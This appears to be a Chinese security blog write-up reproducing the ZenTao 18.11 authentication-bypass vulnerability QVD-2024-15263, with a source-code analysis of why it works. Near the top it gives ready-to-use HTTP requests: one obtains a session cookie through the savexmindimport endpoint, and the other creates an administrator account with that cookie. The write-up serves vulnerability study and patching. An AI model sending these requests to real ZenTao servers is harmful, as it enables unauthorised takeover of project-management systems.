首页 > 其他分享 >禅道 未授权登录复现(QVD-2024-15263)

禅道 未授权登录复现(QVD-2024-15263)

时间:2024-08-14 23:05:17浏览次数:9  
标签:函数 QVD 2024 15263 user cookie 参数 禅道 复现

侵权声明

本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。

如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [[email protected]]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。

感谢您的理解与支持

基本信息

版本

18.11

poc

获取cookie

GET /api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest HTTP/1.1
Host:demo.com


使用cookie,创建用户

POST /api.php/v1/users HTTP/1.1
Host:demo.com
Cookie: zentaosid=hfoq8srqabdgo0pq4ukcb28gob; lang=zh-cn; device=desktop; theme=default
Content-Length: 77

{"account": "0koo", "password": "Candao1", "realname": "0koo", "group":"1"}

分析

没有什么实例只能通过poc反推加别人的帖子进行分析了。
首先看到poc所调用的saveXmindImport()函数。跟进deny()函数

image

可以发现$this->session->set('user', $user);$user设置成超级变量的成员值,即对当前的session添加了一个user属性。

image

继续跟进set()函数

image

就是的$_SESSION的user变量赋值。

获取cookie

接下来分析该如如何能够调用到saveXmindImport()函数。
首先实例化一个testcase对象,函数如下。

image

可以看到这里有一个判断,如果两个条件都满足本次初始化就结束了,就不会执行后面的语句了。跟进isAjaxRequest()函数。

image

可以看到如果请求中存在HTTP_X_REQUESTED_WITH参数并且该参数的值为XMLHttpRequest就会返回true

使用cookie创建用户

通过poc找到文件位置。
其中如果没有gendar参数会直接return退出,并且该参数还是指定权限大小的,如果没有realname参数会报错退出,都不会生成用户

image

复现

1、获取cookie

image

2、创建用户

image

image

3、登录

image

总结

第一次分析逻辑漏洞,难度还是有的。感觉还是太急躁了,仔细一点说不定也能看到deny()函数。
不过还是学到了可以通过在全局参数$_SESSION中加入特定参数实现越权。

修复

更新,没有什么好说的

参考

【漏洞复现】禅道——未授权登入(QVD-2024-15263)_禅道漏洞复现-CSDN博客
QVD-2024-15263 禅道项目管理系统身份认证绕过漏洞 - 先知社区 (aliyun.com)


免责声明

本博客所提供的技术知识和信息仅旨在教育和分享网络安全最佳实践,促进网络安全意识的提升。作者严禁将这些技术和信息用于任何非法或不道德的目的。

使用本博客内容而导致的任何违法行为或后果,作者不承担任何法律责任。所有读者在使用本博客的信息时,应自行承担风险,并确保遵守当地法律法规。

我们鼓励所有读者合法地使用所提供的信息和技术,致力于维护安全和负责任的网络环境。

感谢您的理解与支持。

标签:函数,QVD,2024,15263,user,cookie,参数,禅道,复现
From: https://www.cnblogs.com/0kooo-yz/p/18359939

相关文章

  • 2024.8.14 总结(集训)
    依然是TQX来讲字符串。/bx/bx/bx属于是两个上午速通字符串里一些重要的内容。上课时只有manacher和PAM是我有点听懂了的。于是下午看TQX的博客学了PAM,看之前看过的博客复习了下SAM,给why讲了些、和他讨论了PAM,AC了洛谷上的PAM板子,看TQX的PPT学了manache......
  • 2024华为OD机试真题-启动多任务排序(C++/Python)-C卷D卷-200分
    2024华为OD机试题库目录(Python、C++)-(C卷+D卷)-CSDN博客目录题目描述输入描述输出描述用例1题目解析代码c++python题目描述一个应用启动时,会有多个初始化任务需要执行,并且任务之间有依赖关系,例如A任务依赖B任务,那么必须在B任务执行完成之后,才能开始执行A任务。......
  • 2024.8.14 test
    A一棵树,你每天可以选择不超过\(m\)个祖先都被选择的点,问最少多少天选完。\(n\le10^5\)。考虑贪心,每次选出子树深度最大的\(m\)个点或子树大小最大的\(m\)个点都是对的。B一棵树\(n\le5e5\),选若干出来,对于每个点,如果其儿子有选,那么不能被选,否则其有\(p_u\)概率被选......
  • 2024版,一键安装永久激活!
    2024版,一键安装永久激活!https://mp.weixin.qq.com/s?__biz=MzkxMzEyNTA2Nw==&mid=2247504674&idx=1&sn=6402cfd91b92f85e28a282fe10216aea&chksm=c100e886f67761904f3eab4607504da67c7342d29cb6ae4374a9f9b4b459d237f1bee0095510&mpshare=1&scene=23&sr......
  • 河南萌新联赛2024第(五)场:信息工程大学
    河南萌新联赛2024第(五)场:信息工程大学前言有点水这场,原题和板子貌似有点多。。A-日历游戏_河南萌新联赛2024第(五)场:信息工程大学(nowcoder.com)思路首先不看年份的话,显然\(8/1\)败,\(7/31\)胜,\(7/30\)败,\(7/29\)胜,\(\dots\),以此类推,就能发现一个\((m+d)\bmod2=0\)\((m......
  • [考试记录] 2024.8.14 csp-s模拟赛20
    [考试记录]2024.8.13csp-s模拟赛2090+39+0+0还是太......
  • 【四六级备考经验分享】历年英语四六级真题及答案+听力音频+2024年6月三套
    每个大学生都要面对英语四六级考试的挑战,本以为高考结束后能松口气,没想到还得继续在英语学习的道路上奋斗。作为一位已经成功攻克这一难关的学姐,我想分享一些实用的备考资料和建议,助你一臂之力,一次性通过四六级考试!英语四六级备考资料:一、历年英语四级真题及答案:www.201800.com/......
  • 2024.8.14 鲜花
    OnlyMyRailgun放て!心に刻んだ梦を未来さえ置き去りにして限界など知らない意味无い!この能力(チカラ)が光散らすその先に遥かな想いを歩いてきたこの道を振り返ることしか出来ないなら…今ここで全てを壊せる暗闇に堕ちる街并み人はどこまで立ち向かえるの?加......
  • 免费【2024】springboot 工资管理系统的设计与实现
    博主介绍:✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌技术范围:SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数......
  • 免费【2024】springboot 工厂生产设备维护管理系统的设计与实现
    博主介绍:✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌技术范围:SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数......